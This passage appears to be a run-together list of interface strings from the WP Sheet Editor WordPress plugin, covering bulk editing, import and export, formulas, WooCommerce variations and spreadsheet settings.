                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
